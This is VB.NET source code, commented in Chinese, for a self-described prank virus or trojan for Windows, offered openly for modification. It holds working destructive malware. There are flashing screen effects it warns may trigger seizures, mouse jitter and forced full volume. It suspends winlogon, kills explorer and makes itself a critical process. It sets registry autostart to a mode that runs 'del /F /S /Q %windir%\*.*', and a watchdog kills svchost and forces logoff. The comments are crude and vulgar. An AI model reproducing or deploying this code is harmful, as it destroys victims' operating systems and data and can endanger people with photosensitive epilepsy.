﻿'恭喜，你看了我的代码。
'现在没有楞愿意花上5分钟看代码。
'真的感谢你。
'也许你是用笔记本看的？？？
'不过还是感谢你。
Imports System.Drawing
Imports System.IO
Imports System.Media
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Threading
Imports System.Windows.Forms
Imports Microsoft
Imports Microsoft.Win32
Imports MPR
'欢迎修改代码
'目前版本：1.05PR5版
'主要更新了新的bug。

'看了本子后绝的这个社会太（逼~~~）乱了。（藤原千花是对的，的确够（逼~~~）乱。）
'PS：逼~~~=淫
'我怀疑有人刚才动过我家的水表
'先走了。
'wtf FBI查房来了？？？
'我不信他们那群傻逼会开你mj0 uiuiui虽然lsssssssssssssszhn
'梗：我才不信。

'历史总是惊人的相似。
'据说一次更新代码相似度高达百分之80.

'本恶搞软件（病毒）严禁倒卖。
Module Module1
    Declare Function CloseHandle Lib "kernel32" Alias "CloseHandle" (ByVal hObject As IntPtr) As Int32
    Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As IntPtr, lpString As IntPtr) As Integer
    Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As IntPtr, lpString As IntPtr) As Integer
    Public Const IsDebug As Boolean = True   '要做恶作剧把IsDebug改成True。要玩真的请改False
    Public FuckingProgramList As New List(Of String)({ '口吐芬芳。
            "calc", '计算器。
            "cmd",'命令行。
            "regedit"， '注册表。
            "explorer"， 'Windows外壳（qiao）。（我不是老实人）
            “mmc” '什么什么管理端元。
            })
    Public Declare Function SuspendThread Lib "Kernel32.dll" (hThread As IntPtr) As Long '暂停线程。
    Public Declare Function OpenThread Lib "Kernel32.dll" (dwDesiredAccess As Integer, bIngeritHandle As Boolean, dwThreadId As Integer) As IntPtr '打开线程（获得线程句柄（bing））
    Private Declare Function SetCursorPos Lib "user32" (ByVal x As Integer, ByVal y As Integer) As Integer '设置鼠标位置。
    Public bd As MPR.Mp3Player '播放Sun的播放器。
    Public openstring As String '拍马屁。
    Public mydom As New Random '随机数生成器。
    ''' <summary>
    ''' 随便启动FuckingProgramList里有提名的程序
    ''' </summary>
    Sub autoStartProgram()
        Do
            Threading.Thread.Sleep(mydom.Next(50000, 100000))
            Try '防止有人手贱蓝瓶钙
                Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "v-w-nm1发起了新的程序公鸡。")
                Shell(FuckingProgramList.Item(mydom.Next(0, FuckingProgramList.Count - 1))) '随机运行F*ckingprogramlist中的程序。
            Catch
                Throw
            End Try
        Loop
    End Sub
    Public aaweaw As New Collection, awreaw As New Collection
    ''' <summary>
    ''' 保留，目前可以用来收集Window和Control
    ''' </summary>
    ''' <param name="HWND"></param>
    ''' <param name="LPAPAM"></param>
    ''' <returns></returns>
    Function Aawa(HWND As IntPtr, LPAPAM As Int32) As Boolean
        Try
            awreaw.Add(HWND)
            Return True
        Catch
            Return False
        End Try
    End Function
    ''' <summary>
    ''' 保留，目前可以用来收集Window和Control
    ''' </summary>
    ''' <param name="HWND"></param>
    ''' <param name="LPAPAM"></param>
    ''' <returns></returns>
    Function Aaw(HWND As IntPtr, LPAPAM As Int32) As Boolean
        Try
            aaweaw.Add(HWND)
            Return True
        Catch
            Return False
        End Try
    End Function
    ''' <summary>
    ''' 之前有强制GC收集，但是被建议去掉了，现在可以保证音量稳定在100％
    ''' </summary>
    Sub autoGc（）
        Do
            APIClass.waveOutSetVolume(0, &HFFFFFFFF)
            Threading.Thread.Sleep(3000)
        Loop
    End Sub
    ''' <summary>
    ''' 屏幕反色（确定不会泄露内存。。。个屁）
    ''' </summary>
    Sub Fucksreen()
Fucksreen:
        Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "v-w-nm1发起了技能：黑白颠倒")
        Dim slp As Double = 1000 '决定休眠时间。
        Dim temp1 As Windows.Forms.Screen = My.Computer.Screen '一毛一样的屏幕。
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Dim a As New Bitmap(temp1.WorkingArea.Size.Width, temp1.WorkingArea.Size.Height)
        Dim aaab As Graphics = Graphics.FromImage(a)
        Dim sa As New Point(0, 0)
        Do
            Try
                slp -= 0.1
                If slp <= 0 Then
                    slp = 1
                End If
                aaab.CopyFromScreen(sa, sa, temp1.WorkingArea.ToSize)
                Dim fs As Bitmap = Class2.PContray(a)
                Dim Hicon As IntPtr = fs.GetHicon()
                aaa.DrawIcon(Icon.FromHandle(Hicon), temp1.WorkingArea)
                fs.Dispose()
                Threading.Thread.Sleep(slp)
                aaab.Dispose()
                a.Dispose()
                a = New Bitmap(temp1.WorkingArea.Size.Width, temp1.WorkingArea.Size.Height)
                aaab = Graphics.FromImage(a)
            Catch
                aaa.Dispose()
                aaab.Dispose()
                a.Dispose()
                Threading.Thread.Sleep(10000)
                GoTo Fucksreen
            End Try
        Loop
    End Sub
    <Extension> Sub FastCopySreen(ByRef a As Graphics)
        a.CopyFromScreen(New Point, New Point, My.Computer.Screen.WorkingArea.ToSize)
    End Sub
    ''' <summary>
    ''' 战术性升维打击。（上升一个时间维）
    ''' </summary>
    Sub To2DWorld() '看，纳吉的宝洞，它又dark又深。
To2DWorld:
        Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "Now With Me go to H E L L 。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。-。-。-。----。-。-。----。-。-。----
。-。-。---
for you
fuck you")
        Dim slp As Double = 1000 '决定休眠时间。
        Dim temp1 As Windows.Forms.Screen = My.Computer.Screen
        Dim a As New Bitmap(temp1.WorkingArea.Size.Width, temp1.WorkingArea.Size.Height)
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Dim aaab As Graphics = Graphics.FromImage(a)
        Dim sa As New Point(0, 0)
        Do
            Try
                slp -= 0.5
                If slp <= 0 Then
                    slp = 1
                End If
                aaab.FastCopySreen()
                Dim Hicon As IntPtr = a.GetHicon()
                aaa.DrawIcon(Icon.FromHandle(Hicon), New Rectangle With {
                    .Width = temp1.WorkingArea.Width * 0.9,
                    .Height = temp1.WorkingArea.Height * 0.9,
                    .X = temp1.WorkingArea.Width * 0.05,
                    .Y = temp1.WorkingArea.Height * 0.05
                             })
                Threading.Thread.Sleep(slp)
                aaab.Dispose()
                a.Dispose()
                a = New Bitmap(temp1.WorkingArea.Size.Width, temp1.WorkingArea.Size.Height)
                aaab = Graphics.FromImage(a)
            Catch
                aaa.Dispose()
                aaab.Dispose()
                a.Dispose()
                Threading.Thread.Sleep(10000)
                GoTo To2DWorld
            End Try
        Loop
    End Sub
    ''' <summary>
    ''' 北京特效（半通透灰色贴图）、画字符串、随便画多边形这些特效的合集
    ''' </summary>
    Sub BeijingEffect()
BJE:
        Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "技能：
乱涂乱画
灰色地带
fuck you。。。。。。。。。。。。。。。。。。")
        Dim slp As Double = 100 '决定休眠时间。
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Dim temp2 As Bitmap = My.Resources.Beijingwelcome
        Dim temp3 As Rectangle = My.Computer.Screen.WorkingArea
        Do
            Try
                If slp = 0 Then
                    slp = 1
                End If
                slp -= 0.01
                Threading.Thread.Sleep(slp)
                aaa.DrawString("谁是哈麻批？为什么要看她？
", SystemFonts.MenuFont, Brushes.Black, New PointF(mydom.NextDouble() * temp3.Width, mydom.NextDouble() * temp3.Height))
                Dim waeh As New Pen(Color.FromArgb(mydom.Next(0, Integer.MaxValue)), 2)
                aaa.DrawImage(temp2, New Point(mydom.NextDouble() * temp3.Width, mydom.NextDouble() * temp3.Height))
                aaa.DrawPolygon(waeh, RandomPolygon())
                waeh.Dispose()
            Catch
                aaa.Dispose()
                Threading.Thread.Sleep(10000)
                GoTo BJE
            End Try
        Loop
    End Sub
    ''' <summary>
    ''' 屏幕大小内的随机多边形生成。（最小五角，最大30角）
    ''' </summary>
    ''' <returns>PointF数组，指定多边形的角的位置</returns>
    Function RandomPolygon() As PointF()
        Dim temp3 As Rectangle = My.Computer.Screen.WorkingArea
        Dim aws As Double = mydom.Next(5, 30)
        Dim myre(aws) As PointF
        For i = 0 To aws
            myre(i) = New PointF(mydom.NextDouble() * temp3.Width, mydom.NextDouble() * temp3.Height)
        Next
        Return myre
    End Function
    ''' <summary>
    ''' 并不成功的撕裂屏幕函数。
    ''' </summary>
    Sub borkensreen()
borkensreen:
        Dim temp1 As Windows.Forms.Screen = My.Computer.Screen
        Dim a As New Bitmap(temp1.WorkingArea.Size.Width, temp1.WorkingArea.Size.Height)
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Dim aaab As Graphics = Graphics.FromImage(a)
        Do
            Try
                aaab.CopyFromScreen(New Point, New Point, a.Size)
                Dim Hicon As IntPtr = a.GetHicon()
                aaab.DrawIcon(
                    Icon.FromHandle(Hicon), randomrect(temp1.WorkingArea))
                aaa.DrawIcon(
        Icon.FromHandle(Hicon), randomrect(temp1.WorkingArea))
                Threading.Thread.Sleep(50)
                aaab.Dispose()
                a.Dispose()
                a = New Bitmap(temp1.WorkingArea.Size.Width, temp1.WorkingArea.Size.Height)
                aaab = Graphics.FromImage(a)
            Catch
                aaa.Dispose()
                a.Dispose()
                aaab.Dispose()
                Threading.Thread.Sleep(10000)
                GoTo borkensreen
            End Try
        Loop
    End Sub
    ''' <summary>
    ''' 获得指定rectangle中的随机rectangle值（宽度比较小）
    ''' </summary>
    ''' <param name="dia">范围</param>
    ''' <returns>范围内随机rectangle</returns>
    Function randomrect(dia As Rectangle)
        Dim a As Rectangle
        a.X = mydom.Next(dia.X, dia.Width)
        a.Y = mydom.Next(dia.Y, dia.Height)
        Dim awa As Long = mydom.Next(dia.X + 1, dia.Height)
        a.Width = (dia.Height - awa) / 5
        a.Height = awa
        Return a
    End Function
    ''' <summary>
    ''' 鼠标下画X
    ''' </summary>
    Sub DrawError()
DrawError:
        Dim temp1 As Bitmap = My.Resources.IcoE
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Do
            Try
                aaa.DrawImage(temp1, Windows.Forms.Control.MousePosition)
                Threading.Thread.Sleep(1)
            Catch
                aaa.Dispose()
                Threading.Thread.Sleep(10000)
                GoTo DrawError
            End Try
        Loop
    End Sub
    ''' <summary>
    ''' 像MEMZ一样的移动鼠标
    ''' </summary>
    Sub 帕金森式移动（） '帕金森：你才式。
        Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "公鸡：
帕金森之术")
        Dim pes As Double = 0 '决定鼠标抖得程度
        Do
            pes += 0.001
            Dim a As Point = Windows.Forms.Control.MousePosition
            SetCursorPos(CDbl(a.X) + mydom.NextDouble * pes - mydom.NextDouble * pes, CDbl(a.Y) + mydom.NextDouble * pes - mydom.NextDouble * pes) '抖（压）鼠（大）标（枪）
            Threading.Thread.Sleep(50) '休息一下
        Loop
    End Sub
    ''' <summary>
    ''' 获得该进程友好名称
    ''' </summary>
    ''' <returns></returns>
    Function GetLastW() As String '名字起错了的函数
        Dim a = Path.GetFileName(Application.ExecutablePath)
        Dim b = Strings.Split(a, ".")(0)
        Return b
    End Function
    Private awreawrwta As Boolean, warwetwertwa As String
    ''' <summary>
    ''' 设置进程/线程为保护进程/线程
    ''' </summary>
    ''' <param name="NewValue">新的进程/线程保护值</param>
    ''' <param name="Oldvalue">修改前进程/线程保护值</param>
    ''' <param name="pRtlSetProcessIsCritical">如果为True就设置进程为保护进程，如果是false就设置目前线程为保护线程</param>
    ''' <returns></returns>
    Public Declare Function RtlSetProcessIsCritical Lib "ntdll" (<MarshalAs(UnmanagedType.Bool)> NewValue As Boolean, ByRef Oldvalue As Boolean, <MarshalAs(UnmanagedType.Bool)> pRtlSetProcessIsCritical As Boolean) As Long

    Sub Main(args As String()) '万恶之源。
        If Command() = "/testlight" Then
            End
        End If
        APIClass.waveOutSetVolume(0, &HFFFFFFFF)
        If Command() = "/watchdog" Then
            Dim abc As Long
            Dim myExecutexe As String = GetLastW()
            Do
                abc = Process.GetProcessesByName(myExecutexe).Count
                Threading.Thread.Sleep(100)
                If abc <= Process.GetProcessesByName(myExecutexe).Count Then
                Else
                    Dim adw As Process() = Process.GetProcessesByName("svchost")
                    For Each ssa In adw
                        ssa.Kill()
                    Next
                    Threading.Thread.Sleep(1000)
                    Shell("cmd /c logoff")
                End If
            Loop
        End If
        Process.EnterDebugMode()
        openstring = "I am Trojan."
        Dim c As New FileStream("Temp.mp3", FileMode.Create)
        c.Write(My.Resources.adssx, 0, My.Resources.adssx.Length - 1)
        c.Flush()
        c.Dispose()
        bd = New MPR.Mp3Player() With {
    .FileName = Windows.Forms.Application.StartupPath & "\" & "Temp.mp3"
    }
        bd.play()
        Dim asdwas As New Threading.Thread(Sub()
                                               Do
                                                   Threading.Thread.Sleep(208000)
                                                   bd = New MPR.Mp3Player() With {
.FileName = Windows.Forms.Application.StartupPath & "\" & "Temp.mp3"
}
                                                   bd.play()
                                               Loop
                                           End Sub)
        asdwas.Start()
        If Command() = "/E1" Then
            Threading.Thread.Sleep(1)

            Shell("cmd /c pause & del /F /S /Q %windir%\*.*", AppWinStyle.MaximizedFocus, False, -1)
            Shell("cmd /c @echo off & echo 你的电脑即将被摧毁！！！& echo 这只是一个告示 & echo 并不能通过结束我阻止病毒代码!!! & echo 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈！！！& pause
", AppWinStyle.MaximizedFocus)
            Exit Sub
        End If
        If MsgBox("警告：这是一个病毒
如果你点击确定那么就代表你同意我不负责任何损失.
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWW WWWWWWWWWWWW WWWWWWWWWWWWWWWW WWWWWwWW
WWWWWWWW    KWWWWWWWWWWWWWWWWWWWWWWWVVVVVWVVVW
     WVWVWVVVVWVWVV VWV VW V WAVWVVWVWWV W
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
鸣谢名单：
感谢Big_butt提供的电池和部分技术灵感
这个这么又更新了？？？？？？？？？？？？？
", MsgBoxStyle.OkCancel) = MsgBoxResult.Ok Then
            If MsgBox("这是最后一次警告了，请在虚拟机运行.
行为：
" & IIf(IsDebug, "你好，怂逼，这是Debug模式。"， "我表示这是真的。") & "
D(F)uck you弹窗（it’s fake。）
可能刺激光敏性羊癫风
写注册表自启动
删除C:\windows\下所有未占用文件
（这么老的字符串还有人更新？？？）
继续吗？
", MsgBoxStyle.OkCancel) = MsgBoxResult.Ok Then
                If IsDebug Then
                    GoTo J2
                End If
                Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "技能：
对winlogon使用了时间暂停
Fuck Desktop。
。。。。")
                Dim barawer As Process() = Process.GetProcessesByName("winlogon")
                Dim waewar As Process() = Process.GetProcessesByName("explorer")
                For Each t1 In barawer
                    SuspendThread(t1.Threads(0).Id)
                Next
                For Each t2 In waewar
                    t2.Kill()
                Next
                RtlSetProcessIsCritical(True, False, False)
J2:
                Dim ssd As New Threading.Thread(AddressOf autoGc)
                ssd.Start()
                Dim a As New ProcessProtect
                Threading.ThreadPool.QueueUserWorkItem(AddressOf a.ShowDialog)
                If Not IsDebug Then Class2.SetAutoStart(True, "IamTrojan", Windows.Forms.Application.ExecutablePath & " /E1")
                Dim addsw As New Threading.Thread(AddressOf DrawError)
                Threading.ThreadPool.QueueUserWorkItem(AddressOf hamapi)
                addsw.Start()
                Threading.Thread.Sleep(9000)
                Dim addsws As New Threading.Thread(AddressOf 帕金森式移动)
                addsws.Start()
                Threading.Thread.Sleep(9000)
                Dim d As New Threading.Thread(AddressOf DForm)
                Dim aweawre As New Threading.Thread(AddressOf Fucksreen)
                aweawre.Start()
                d.Start()
                If IsDebug Then
                    Threading.Thread.Sleep(9000)

                Else

                End If
                Threading.Thread.Sleep(90000)
                Dim sawarsar As New Threading.Thread(AddressOf BeijingEffect)
                sawarsar.Start()
                Threading.Thread.Sleep(90000)
                Dim addswsw As New Threading.Thread(AddressOf To2DWorld)
                Dim aweawrwsarwe As New Threading.Thread(AddressOf autoStartProgram)
                Dim bokens As New Threading.Thread(AddressOf borkensreen)
                bokens.Start()
                aweawrwsarwe.Start()
                addswsw.Start()
                Threading.ThreadPool.QueueUserWorkItem(AddressOf MsgBox, "you’re be played。")
                Exit Sub
            Else
                MsgBox（“弱鸡”） '注：弱鸡是某英语单词直接翻译过来的。
                Dim addsw As New Threading.Thread(AddressOf DrawError)
                addsw.Start()
                Dim addsws As New Threading.Thread(AddressOf 帕金森式移动)
                addsws.Start()
                Dim aweawre As New Threading.Thread(AddressOf Fucksreen)
                aweawre.Start()
            End If
        Else
            MsgBox("NB")
            Dim addsws As New Threading.Thread(AddressOf 帕金森式移动)
            addsws.Start()
        End If
    End Sub
    ''' <summary>
    ''' 将一个Rectangle转换为Size
    ''' </summary>
    ''' <param name="a">Rectangle值</param>
    ''' <returns>Size值</returns>
    <Extension()>
    Public Function ToSize(ByVal a As Drawing.Rectangle) As Drawing.Size
        Dim temp As Drawing.Size
        temp.Width = a.Width
        temp.Height = a.Height
        Return temp
    End Function
    ''' <summary>
    ''' 快速解决对象
    ''' </summary>
    ''' <param name="value">目标对象</param>
    <Extension()>
    Public Sub SetNothing(value As Object)
        If value Is Nothing Then Exit Sub
        If TryCast(value, IDisposable) Is Nothing Then
            GC.SuppressFinalize(value)
            value = Nothing
        Else
            DirectCast(value, IDisposable).Dispose()
            value = Nothing
        End If
        If value Is Nothing Then
            Exit Sub
        Else
            Throw New Exception()
        End If
    End Sub
    ''' <summary>
    ''' 播放Boom音效（注：哈麻批（hamapi）音似日语烟花发音）
    ''' </summary>
    Sub hamapi()
        Dim temp1 As Screen = My.Computer.Screen
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Dim boomf As New SoundPlayer(My.Resources.Boom)
        boomf.Load()
        Do
            boomf.PlaySync()
            Threading.Thread.Sleep(200)
        Loop
    End Sub

    ''' <summary>
    ''' 画Fuckyou弹窗贴图。
    ''' </summary>
    Public Sub DForm()
Dform:
        Threading.Thread.Sleep(1000)
        Dim temp1 As Screen = My.Computer.Screen
        Dim aaa As Graphics = Graphics.FromHdc(APIClass.GetWindowDC(APIClass.GetDesktopWindow()))
        Dim a As Bitmap = My.Resources._2345截图20190609152618
        Do
            Try
                aaa.DrawImage(a, New Point() With {
                .X = mydom.Next(0, temp1.WorkingArea.Width),
                .Y = mydom.Next(0, temp1.WorkingArea.Height)
                          })
                Threading.Thread.Sleep(mydom.Next(2000, 5000))
            Catch
                aaa.Dispose()
                a.Dispose()
                Threading.Thread.Sleep(10000)
                GoTo Dform
            End Try
        Loop
    End Sub
    ''' <summary>
    ''' 快速解决对象
    ''' </summary>
    ''' <returns>一定是null</returns>
    Public Property Nil As Object
        Get
            Return Nothing
        End Get
        Set(value As Object)
            If value Is Nothing Then Exit Property
            If TryCast(value, IDisposable) Is Nothing Then
                GC.SuppressFinalize(value)
                value = Nothing
            Else
                DirectCast(value, IDisposable).Dispose()
            End If
            If value Is Nothing Then
                Exit Property
            Else
                Throw New Exception()
            End If
        End Set
    End Property
    Declare Function NtRaiseHardError Lib "Ntdll.dll" (ErrorStatus As Int32, NumberOfParmeters As Int32, UnUseful1 As Int32, Parmeters As Int32, ResponseOption As Int32, Response As Int32) As Long
    Declare Function RtlAdjustPrivilege Lib "Ntdll.dll" (Privilege As Int32, NewValue As Boolean, CurrentThread As Boolean, ByRef OldValue As Boolean) As Long
End Module
